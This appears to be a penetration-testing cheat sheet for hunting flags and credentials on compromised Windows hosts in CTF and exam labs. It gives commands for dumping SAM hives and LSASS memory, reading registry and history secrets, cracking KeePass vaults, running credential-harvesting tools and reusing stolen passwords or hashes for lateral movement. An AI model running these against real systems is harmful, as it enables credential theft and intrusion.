CRED ^: Password Attacks

Windows Credential & Flag Hunting

Find flags, passwords and secrets on Windows — CMD vs PowerShell (Evil-WinRM) syntax, config/registry secrets, PS history, and automated tools.

intermediate updated 2026-09-14 PowerShell · cmd · Evil-WinRM · WinPEAS

Windows Credential & Flag Hunting

Post-compromise searching on Windows: find proof flags, then sweep for passwords and secrets. Which shell you are in decides which syntax works — this trips people up constantly.


⚠️ Read This First — CMD vs PowerShell

Evil-WinRM, WinRM, and most modern remote shells drop you into PowerShell, not CMD. In PowerShell, dir and where are aliases for Get-ChildItem and Where-Object, so old CMD flags are parsed as arguments and fail:

*Evil-WinRM* PS C:\> dir /S /B *user*.txt
A positional parameter cannot be found that accepts argument '*user*.txt'.
*Evil-WinRM* PS C:\> where /R C:\ user.txt
A positional parameter cannot be found that accepts argument 'user.txt'.

dir /S /B, where /R, and findstr /SI are CMD-only — they do not work at a PowerShell prompt. Use one of the two fixes below.

TaskCMD (cmd.exe only)PowerShell (Evil-WinRM)
Recursive file finddir /S /B C:\*user*.txtGet-ChildItem -Path C:\ -Recurse -Filter *user*.txt -ErrorAction SilentlyContinue
Find a named filewhere /R C:\ user.txtGet-ChildItem -Path C:\ -Recurse -Filter user.txt -ErrorAction SilentlyContinue
Grep file contentsfindstr /S /I /M "password" *.xmlGet-ChildItem -Recurse -Filter *.xml | Select-String password

Escape hatch — run CMD from PowerShell: if you insist on the CMD one-liners, wrap them:

cmd /c "dir /S /B C:\*user*.txt"
cmd /c "where /R C:\ user.txt"
cmd /c "findstr /S /I /M password C:\*.xml C:\*.ini C:\*.txt"

Note — -ErrorAction SilentlyContinue (short: -EA 0) is the PowerShell equivalent of 2>nul — it hides “Access Denied” noise from directories you cannot read. Without it, a C:\ recurse is unreadable.


Phase 1 — Flag Hunting

PowerShell (Evil-WinRM)

# Standard proof files anywhere on C:\
Get-ChildItem -Path C:\ -Recurse -Include user.txt,root.txt,proof.txt,flag*.txt -ErrorAction SilentlyContinue -Force

# Usual desktops (most HTB/exam boxes)
Get-Content C:\Users\*\Desktop\user.txt -ErrorAction SilentlyContinue
Get-Content C:\Users\Administrator\Desktop\root.txt -ErrorAction SilentlyContinue

# Anything named like a flag, including hidden files (-Force shows hidden/system)
Get-ChildItem -Path C:\ -Recurse -Filter *flag* -Force -ErrorAction SilentlyContinue

CMD

dir /S /B C:\user.txt C:\root.txt
where /R C:\ user.txt
type C:\Users\Administrator\Desktop\root.txt

Note — -Include needs -Recurse (or a wildcard in -Path) to take effect. -Filter is faster than -Include but accepts only one pattern.


Phase 2 — Finding Files (PowerShell reference)

# By extension across the whole drive
Get-ChildItem -Path C:\ -Recurse -Include *.kdbx,*.config,*.xml,*.ini,*.txt -EA 0

# Alias shorthand: gci = Get-ChildItem
gci C:\ -Recurse -Filter *.pem -EA 0 | Select-Object FullName

# Files changed recently (fresh loot)
gci C:\ -Recurse -EA 0 | Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-1) } | Select FullName,LastWriteTime

# Only return the path column, not the full table
gci C:\Users -Recurse -Filter *.txt -EA 0 | % { $_.FullName }

Phase 3 — Grep File Contents (Select-String)

Select-String (alias sls) is PowerShell’s grep/findstr:

# Recurse a tree, search common config types for "password"
Get-ChildItem -Path C:\ -Recurse -Include *.xml,*.ini,*.txt,*.config,*.ps1,*.bat -EA 0 |
  Select-String -Pattern 'password|passwd|pwd|secret' -EA 0

# List only the matching file names (like findstr /M)
gci C:\inetpub,C:\xampp -Recurse -Include *.php,*.config -EA 0 |
  Select-String 'password' -List -EA 0 | Select-Object Path

# Save results to a file
gci C:\ -Recurse -Include *.config,*.xml -EA 0 |
  Select-String 'password' -EA 0 | Out-File C:\Windows\Temp\results.txt

CMD equivalent (findstr)

:: /S recurse, /I case-insensitive, /M filenames only, /N line numbers, /P skip binaries
findstr /S /I /M "password" C:\*.xml C:\*.ini C:\*.txt C:\*.config
findstr /S /I /N "password" C:\*.config 2>nul >> results.txt
findstr /S /P /I "password" C:\Users\*.*

Why the original one-liners failed — findstr /spin "password" *.* and findstr /si password *.xml only search the current directory unless you cd first and give real paths, and they are CMD syntax so they error outright in an Evil-WinRM PowerShell prompt. Prefer the Select-String versions above.


Phase 4 — High-Value Locations

Unattended install / provisioning files (classic plaintext creds)

Get-ChildItem -Path C:\ -Recurse -Include Unattend.xml,Unattended.xml,sysprep.xml,sysprep.inf,Autounattend.xml -EA 0
# Common fixed paths:
type C:\Windows\Panther\Unattend.xml 2>$null
type C:\Windows\System32\Sysprep\sysprep.xml 2>$null
# GPP password in SYSVOL (cpassword) — decrypt with gpp-decrypt
gci \\<DC>\SYSVOL -Recurse -Include Groups.xml,Services.xml,ScheduledTasks.xml -EA 0

PowerShell & CMD history (very commonly holds passwords)

# PSReadLine history file — per user, survives reboots
Get-Content (Get-PSReadlineOption).HistorySavePath -EA 0
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# Every user's history
gci C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt -EA 0 | % { $_.FullName; gc $_.FullName }

Saved / cached credentials

cmdkey /list                       # stored credentials (use with runas /savecred)
# Web / app config secrets
gci C:\inetpub\wwwroot -Recurse -Include web.config,appsettings.json,*.config -EA 0 | Select-String 'password|connectionString'
type C:\Windows\System32\inetsrv\config\applicationHost.config 2>$null

Registry secrets

# Autologon plaintext password
Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' | Select DefaultUserName,DefaultPassword,DefaultDomainName
# VNC, PuTTY, SNMP, and installer creds
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s 2>$null
reg query "HKLM\SOFTWARE\RealVNC\vncserver" /v Password 2>$null
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s 2>$null
# Search entire hives for "password"
reg query HKLM /f password /t REG_SZ /s 2>$null
reg query HKCU /f password /t REG_SZ /s 2>$null

Keys, vaults, and databases

gci C:\ -Recurse -Include *.kdbx,*.ppk,*.pem,id_rsa -EA 0        # KeePass / PuTTY / SSH keys
gci C:\Users -Recurse -Include *.rdp -EA 0                        # saved RDP profiles
gci $env:USERPROFILE\.aws\credentials,$env:USERPROFILE\.ssh\* -EA 0

Finding KeePass vaults — CMD

dir /s /b C:\*.kdbx
where /r C:\ *.kdbx
dir /s /b %USERPROFILE%\*.kdbx

Finding KeePass vaults — PowerShell

Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -EA 0
Get-ChildItem -Path C:\Users -Include *.kdbx,*.kdb -File -Recurse -EA 0 |
    Select-Object FullName, LastWriteTime

# KeePass config often leaks the key-file path or an auto-open DB path
Get-ChildItem -Path C:\Users -Include KeePass.config.xml -File -Recurse -EA 0

Related artifacts worth grabbing alongside the .kdbx

  • KeePass.config.xml — may reference a key-file path or an auto-open DB
  • *.key files near the vault — possible key-file auth component
  • Live KeePass.exe process — memory can be scraped for the unlocked DB (e.g. KeePassDumpFull, or a mimikatz-style memory dump)
  • %APPDATA%\Microsoft\Windows\Recent\ — shortcuts (.lnk) that reference a .kdbx path even if the vault itself has moved

Offline cracking

keepass2john vault.kdbx > hash.txt
john hash.txt
# or: hashcat -m 13400 hash.txt wordlist.txt

Phase 5 — SAM / LSASS / DPAPI (local admin required)

:: Dump the local SAM + SYSTEM hives, then crack/pass-the-hash offline
reg save HKLM\SAM  C:\Windows\Temp\sam.save
reg save HKLM\SYSTEM C:\Windows\Temp\system.save
:: Exfil, then:  impacket-secretsdump -sam sam.save -system system.save LOCAL
# LSASS memory dump for mimikatz (Task Manager > lsass > Create dump, or):
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\Temp\lsass.dmp full
# Then offline:  pypykatz lsa minidump lsass.dmp

Note — These need local Administrator / SeDebugPrivilege and are noisy (Defender flags LSASS access). For a stealthier route dump remotely with nxc smb <host> -u u -p p --sam --lsa.


Phase 6 — Automated Tools

ToolRun fromCommand
WinPEASany shell.\winPEASx64.exe (or winPEAS.bat in CMD)
Snafflerdomain host.\Snaffler.exe -s -o snaffler.log — sweeps shares for creds
LaZagneany shell.\lazagne.exe all — browsers, wifi, RDP, DB creds
SharpChrome/SharpDPAPI.NETdump browser + DPAPI secrets
PowerUpPowerShell. .\PowerUp.ps1; Invoke-AllChecks
seatbelt.NET.\Seatbelt.exe -group=all
# Evil-WinRM: upload a tool then run it
# (from the Evil-WinRM prompt)  upload winPEASx64.exe
.\winPEASx64.exe quiet cmd fast

Phase 7 — Using a Found Password (run a session as another user)

Once you’ve recovered a username + password, spawn a shell running as that user instead of just verifying the cred worked.

CMD — runas

:: Prompts for the password interactively
runas /user:DOMAIN\targetuser cmd

:: Local (non-domain) account
runas /user:targetuser cmd

:: /netonly — use when the account is only valid on a REMOTE box (no local
:: logon rights here); local commands still run as YOU, but anything that
:: hits the network authenticates as targetuser. Avoids a failed local logon.
runas /netonly /user:DOMAIN\targetuser cmd

:: Reuse a credential CMD already cached (see `cmdkey /list` above)
runas /savecred /user:DOMAIN\targetuser cmd

PowerShell — build a credential object

# Prompts for the password securely (or build SecureString from a known plaintext)
$cred = Get-Credential DOMAIN\targetuser
# Non-interactive, from a known plaintext (lab/CTF use):
$pass = ConvertTo-SecureString 'P@ssw0rd!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('DOMAIN\targetuser', $pass)

# New process as that user (own console window)
Start-Process powershell -Credential $cred

# Interactive shell in the CURRENT console (no new window)
$si = New-Object System.Diagnostics.ProcessStartInfo
$si.FileName = 'powershell.exe'
$si.UserName = 'targetuser'; $si.Domain = 'DOMAIN'
$si.Password = $pass
[System.Diagnostics.Process]::Start($si)

# Remote session / lateral movement as that user (WinRM must be enabled on target)
Enter-PSSession -ComputerName TARGET -Credential $cred
$s = New-PSSession -ComputerName TARGET -Credential $cred
Invoke-Command -Session $s -ScriptBlock { whoami }

# Run one command as the user without a full session
Invoke-Command -ComputerName TARGET -Credential $cred -ScriptBlock { whoami /all }

Note — runas and Start-Process -Credential need the password (or hash via /netonly + mimikatz sekurlsa::pth); they don’t accept an NTLM hash directly. For hash-only creds, pass-the-hash instead: impacket-psexec, impacket-wmiexec, or evil-winrm -i TARGET -u user -H <NTLMhash>.


Quick Wins Checklist

  • Get-Content (Get-PSReadlineOption).HistorySavePath — PS history
  • cmdkey /list — saved credentials for runas /savecred
  • Unattend.xml / sysprep.xml / Autounattend.xml
  • Winlogon DefaultPassword autologon
  • web.config / appsettings.json connection strings
  • SYSVOL Groups.xml GPP cpassword (→ gpp-decrypt)
  • .kdbx KeePass, .ppk/id_rsa keys, .rdp profiles
  • reg query HKLM /f password /t REG_SZ /s

  • Linux Credential & Flag Hunting — same job on Linux
  • Kerberoasting / AS-REP Roasting — turn a domain foothold into crackable hashes
  • Hashcat — crack recovered hashes (-m 1000 NTLM, -m 5600 NetNTLMv2)